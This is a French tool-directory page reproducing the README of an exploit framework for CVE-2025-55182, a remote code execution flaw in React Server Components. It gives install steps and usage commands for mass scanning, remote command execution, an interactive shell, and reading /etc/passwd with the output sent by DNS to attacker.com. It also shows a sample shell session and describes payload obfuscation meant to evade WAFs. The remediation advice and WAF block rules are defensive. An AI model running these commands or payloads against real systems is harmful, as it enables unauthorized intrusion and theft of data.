Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit — Scanner RCE avancé pour React Server Components ciblant CVE-2025-55182. Fonctionnalités : fingerprinting multi-étapes, vérification de vulnérabilité, exfiltration DNS, shell interactif, obfuscation de payload et reporting professionnel (JSON/HTML/PDF). Tests autorisés uniquement. | Kitploit
Outils/GitHubGitHub/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesContournement de WAFTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubcerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

Scanner RCE avancé pour React Server Components ciblant CVE-2025-55182. Fonctionnalités : fingerprinting multi-étapes, vérification de vulnérabilité, exfiltration DNS, shell interactif, obfuscation de payload et reporting professionnel (JSON/HTML/PDF). Tests autorisés uniquement.

Voir le dépôt
19il y a 1 moisPas encore vérifié
Partager

🔐 ReactRCE-Scanner

CVE-2025-55182 — Framework avancé d'exploitation et d'évaluation RCE pour React Server Components

Version CVE CVSS Python License

Author
PRs Welcome
Downloads

📑 Table des matières

  • Avertissement juridique et éthique

  • Présentation

  • Capacités clés

  • Guide de démarrage rapide

  • Architecture et analyse approfondie des fonctionnalités

  • Référence de configuration

  • Suite de tests automatisés

  • Remédiation et atténuation

  • Contribution et communauté

  • Références

  • Licence et auteur


⚠️ Avertissement juridique et éthique

**Cet outil est conçu exclusivement à des fins ÉDUCATIVES et de TESTS DE SÉCURITÉ AUTORISÉS.**L'utilisation non autorisée de ce logiciel contre des cibles sans consentement écrit préalable constitue une violation des lois internationales sur la cybercriminalité, notamment le Computer Fraud and Abuse Act (CFAA), les exigences du RGPD et les conditions d'utilisation standard. L'auteur et les contributeurs déclinent toute responsabilité pour tout usage abusif, opération illégale ou dommage consécutif résultant de ce programme.Utilisez ce programme strictement à vos propres risques.


📋 Présentation

ReactRCE-Scanner est un framework d'évaluation et de vérification de sécurité de niveau entreprise, conçu spécifiquement pour CVE-2025-55182 [1], une vulnérabilité critique d'exécution de code à distance (RCE) affectant les React Server Components dans les versions 19.0.0 à 19.2.0.

Le framework comble le fossé entre la recherche théorique sur les vulnérabilités et la validation pratique de la sécurité. En intégrant l'empreinte multi-étapes, une réduction rigoureuse des faux positifs, une obfuscation avancée des payloads et une génération automatisée de rapports multi-formats, il offre aux ingénieurs en sécurité des capacités de diagnostic précises.

UtilisationRésultats de scan

🎯 Capacités clés

Catégorie de fonctionnalitéPoint fort de l'implémentationStatut opérationnel
Empreinte intelligenteDétection multi-sources du framework et de la version avec algorithmes de scoring de confiance.✅
Vérification multi-étapesPipeline de validation en 5 étapes conçu pour éliminer systématiquement les faux positifs.✅
Génération de payloadsGénérateur de payloads obfusqués prenant en charge l'exfiltration DNS et le multi-encodage.✅
Shell interactifExécution de commandes pseudo-interactive en temps réel et accès shell sur les cibles vérifiées.✅
Rapports completsGénération automatisée de rapports aux formats JSON, HTML, PDF et Markdown.✅
Exfiltration DNSExfiltration hors bande de la sortie des commandes via une gestion sécurisée des requêtes DNS.✅
Moteur de concurrenceArchitecture de scan multi-thread haute performance pour les grandes surfaces d'attaque.✅
Intégration de proxyPrise en charge des proxys HTTP/HTTPS et SOCKS pour un trafic d'évaluation anonymisé.✅

🚀 Guide de démarrage rapide

Installation

Clonez le dépôt et initialisez l'environnement à l'aide du script de configuration automatisé ou d'une installation manuelle des dépendances :

root@kitploit:~
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

Référence des commandes de base

Le framework fonctionne via une architecture CLI modulaire prenant en charge la validation d'une cible unique, le scan en masse à partir de listes de fichiers, le lancement de shells interactifs et la génération de rapports de conformité.

root@kitploit:~
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

🔬 Architecture et analyse approfondie des fonctionnalités

1. Moteur d'empreinte intelligente

Le framework effectue une reconnaissance approfondie avant la livraison du payload. Il analyse plusieurs champs d'en-tête HTTP (X-Powered-By, Next-Action, RSC ), les balises méta structurelles HTML (data-reactroot, __NEXT_DATA__), les ressources de build statiques et les bundles source JavaScript [2] [3].

Les scores de confiance sont classés en quatre niveaux :

  • CRITIQUE (95 %+) : Plusieurs indicateurs orthogonaux confirment des versions vulnérables du runtime React Server Component.

  • ÉLEVÉ (75–95 %) : Indicateurs structurels forts identifiés avec correspondance exacte de version.

  • MOYEN (50–75 %) : Marqueurs partiels du framework présents ; vérification manuelle requise.

  • FAIBLE (<50 %) : Heuristiques faibles détectées ; probabilité élevée de faux positif.

2. Workflow de vérification multi-étapes

Afin de maintenir l'intégrité opérationnelle et de prévenir toute perturbation involontaire des services, les payloads passent par un pipeline de validation strict avant que toute phase d'exploitation ne soit débloquée.

root@kitploit:~
Target URL / Endpoint
       │
       ▼
[Stage 1] Framework & Header Detection
       │
       ▼
[Stage 2] Component Version Analysis
       │
       ▼
[Stage 3] Protocol Compatibility Check
       │
       ▼
[Stage 4] Non-Destructive Safe Validation Request
       │
       ▼
[Stage 5] Statistical Confidence Scoring
       │
       ▼
Vulnerability Assessment Decision

3. Obfuscation et évasion des payloads

Pour tester les contrôles défensifs et les pare-feu applicatifs web (WAF), le framework intègre un générateur de payloads avancé prenant en charge :

  • Schémas d'encodage : transformations Base64, hexadécimales et octales.

  • Obfuscation structurelle : découpage dynamique de chaînes, injection de code inutile et mappage de méthodes require alternatives.

  • Exfiltration hors bande (OOB) : tunnelisation sécurisée des données via des requêtes DNS lorsque les canaux de réponse directs sont restreints.

4. Shell de commandes interactif

Une fois la session établie avec succès, les opérateurs peuvent invoquer un environnement shell interactif pour l'énumération post-vérification.

root@kitploit:~
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.

shell> whoami
www-data

shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux

shell> exit
[*] Terminating session and cleaning up temporary artifacts...

5. Suite de rapports professionnels

Les rapports peuvent être générés dans plusieurs formats standardisés (JSON, HTML, PDF, Markdown ) contenant des résumés exécutifs, des métriques de risque, des constatations techniques détaillées, des chronologies de preuves et des décompositions du score CVSS v3.1 [4].


⚙️ Référence de configuration

Les paramètres avancés sont gérés via le fichier de configuration config.yaml. Voici un modèle de configuration de production :

root@kitploit:~
# ReactRCE-Scanner Production Configuration

timeout: 30
threads: 20
max_retries: 3
proxy: null

user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"

headers:
  Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
  Accept-Language: "en-US,en;q=0.5"
  Accept-Encoding: "gzip, deflate, br"

output:
  format: "json"
  directory: "./reports"

logging:
  level: "INFO"
  file: "exploit.log"

exploit:
  obfuscate: true
  encoding: "base64"
  timeout: 60

scanning:
  concurrent_scans: 20
  rate_limit: 0.5
  timeout: 30

fingerprint:
  enable_deep_analysis: true
  follow_redirects: true
  analyze_assets: true

Exécutez les scans en référençant le fichier de configuration personnalisé via :

root@kitploit:~
python exploit.py -f targets.txt -C config.yaml -o report.json

🧪 Suite de tests automatisés

Le dépôt inclut une suite complète de tests unitaires et d'intégration pour garantir la stabilité des modules entre les versions.

root@kitploit:~
# Execute the complete automated test suite
python exploit.py --test

# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed

Tests passed: 5/5

Pour les contributeurs mettant en place un environnement de développement local :

root@kitploit:~
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt

# Run pytest unit tests
pytest tests/

# Format and lint codebase
black exploit.py
flake8 exploit.py

🛡️ Remédiation et atténuation

Actions administratives immédiates

  1. Correctifs : Mettez immédiatement à niveau les paquets React vers la version 19.2.1 ou supérieure. Mettez à jour les instances Next.js vers la version 15.0.4+ [5].

  2. Surveillance : Inspectez les journaux d'accès HTTP à la recherche de valeurs d'en-tête Next-Action suspectes et de références de prototype non validées (__proto__, constructor ) [6].

  3. Durcissement réseau : Restreignez les requêtes DNS récursives sortantes depuis les serveurs applicatifs afin de prévenir l'exfiltration de données.

Règles WAF de référence (Nginx / OpenResty)

root@kitploit:~
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
    return 403;
}
if ($request_body ~* "constructor") {
    return 403;
}
if ($request_body ~* "child_process") {
    return 403;
}
if ($request_body ~* "execSync") {
    return 403;
}

📚 Références

  1. National Vulnerability Database — CVE-2025-55182 Advisory

  2. React Security Documentation & Advisories

  3. Next.js Security Bulletins

  4. FIRST CVSS v3.1 Specification & Calculator

  5. OWASP Guide to Prototype Pollution Vulnerabilities

  6. Node.js Child Process Security Best Practices


🤝 Contribution et communauté

Les contributions, demandes de fonctionnalités et rapports de bugs sont les bienvenus. Veuillez respecter le workflow standard fork-and-pull request :

  1. Forkez le dépôt (https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork )

  2. Créez votre branche de fonctionnalité (git checkout -b feature/AdvancedScannerModule)

  3. Committez vos modifications (git commit -m 'Add advanced scanning heuristic')

  4. Poussez vers la branche (git origin push feature/AdvancedScannerModule)

  5. Ouvrez une Pull Request


📜 Licence et auteur

Distribué sous licence MIT. Voir LICENSE pour plus d'informations.

Créé avec précision par CerberusMrXi Dernière mise à jour : août 2026

Télécharger l’outil